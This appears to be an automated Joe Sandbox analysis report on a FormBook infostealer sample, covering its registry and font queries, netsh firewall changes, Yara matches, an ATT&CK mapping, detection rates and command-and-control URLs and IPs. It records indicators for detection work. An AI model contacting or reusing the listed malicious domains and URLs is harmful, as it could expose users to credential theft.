Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\010013.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.010013.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.010013.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.945772498.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946308556.0000000002F00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.946245801.0000000002BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Process Injection612	Rootkit1	Credential API Hooking1	Security Software Discovery321	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Masquerading1	Input Capture1	Process Discovery2	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion31	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Information Discovery112	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information4	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing13	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
010013.exe	39%	Virustotal		Browse
010013.exe	32%	ReversingLabs	ByteCode-MSIL.Backdoor.Bulz

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ELqDlkdxF.exe	32%	ReversingLabs	ByteCode-MSIL.Backdoor.Bulz

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
6.2.010013.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.comFB	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
www.nocodehost.com/o4ms/	0%	Avira URL Cloud	safe
http://www.collada.org/2005/11/COLLADASchema9Done	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.comoitu	0%	URL Reputation	safe
http://www.fontbureau.comldco	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
https://parking.bodiscdn.com	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.lifestyleeve.com/o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.lifestyleeve.com	199.59.242.153	true	true	unknown
www.smithridge.net	unknown	unknown	true	unknown
www.myceliated.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.nocodehost.com/o4ms/	true	Avira URL Cloud: safe	low
http://www.lifestyleeve.com/o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.tiro.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comFB	010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.collada.org/2005/11/COLLADASchema9Done	010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comoitu	010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comldco	010013.exe, 00000000.00000002.707101659.0000000000F47000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.fonts.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://parking.bodiscdn.com	netsh.exe, 0000000A.00000002.947588585.0000000003DCF000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	010013.exe, 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	010013.exe, 00000000.00000002.714167575.0000000006A02000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.59.242.153	www.lifestyleeve.com	United States		395082	BODIS-NJUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	501987
Start date:	13.10.2021
Start time:	13:35:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 13s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	010013.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@10/4@3/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 15.7% (good quality ratio 14.3%) Quality average: 74.8% Quality standard deviation: 30.9%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.82.210.154, 95.100.218.79, 20.82.209.183, 2.20.178.24, 2.20.178.33, 20.54.110.249, 40.112.88.60, 52.251.79.25 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:37:11	API Interceptor	1x Sleep call for process: 010013.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
199.59.242.153	XaTgTJhfol.exe	Get hash	malicious	Browse	www.gafoodstamps.com/mexq/?v2JP=aujtepI6qRwt4NWlDzxdhSPeB9mp7HwM3P6GccjuQrHNTxqttOPLCNBNcH4bMoCm5uRW&GZ_=4h-TkZ9hp8gh-
	6pa7yRpcFt.exe	Get hash	malicious	Browse	www.myverizonbillpay.com/hr8n/?f0DDp6RH=ILCQys4W2nmI16PHUn3vKB7/UprAS8tji7H+tefUzZaDXaBN/QiF2o4GX0UFNMprHqhN&8pNLu=7nGt2pBPBx
	Emask230921doc.exe	Get hash	malicious	Browse	www.newyroklifeannuities.com/x9r4/?7n0=R48xY&c2Jp7Bc0=lcZHIyAd6OHv52M4P4oACjlfZtfJGnVbGUlMndCBdmn5tcdEwHSZ2MqsoIPmB/a4+IEQ
	Invoice Packing list.exe	Get hash	malicious	Browse	www.vspfotme.com/eods/?6liXpZH=EJMYTlsbPcKMchoi/NCYrSOUkQ1lcyycXKbirIJaFNH/FpU7Xng2HIBKTdIWJb6tzkCK&EBPLR=cVnDMB4H0pL
	D8043D746DC108AC0966B502B68DDEABA575E841EDFA2.exe	Get hash	malicious	Browse	ww1.survey-smiles.com/
	Productivity.exe	Get hash	malicious	Browse	ww1.thefreesmsapp.com/_tr
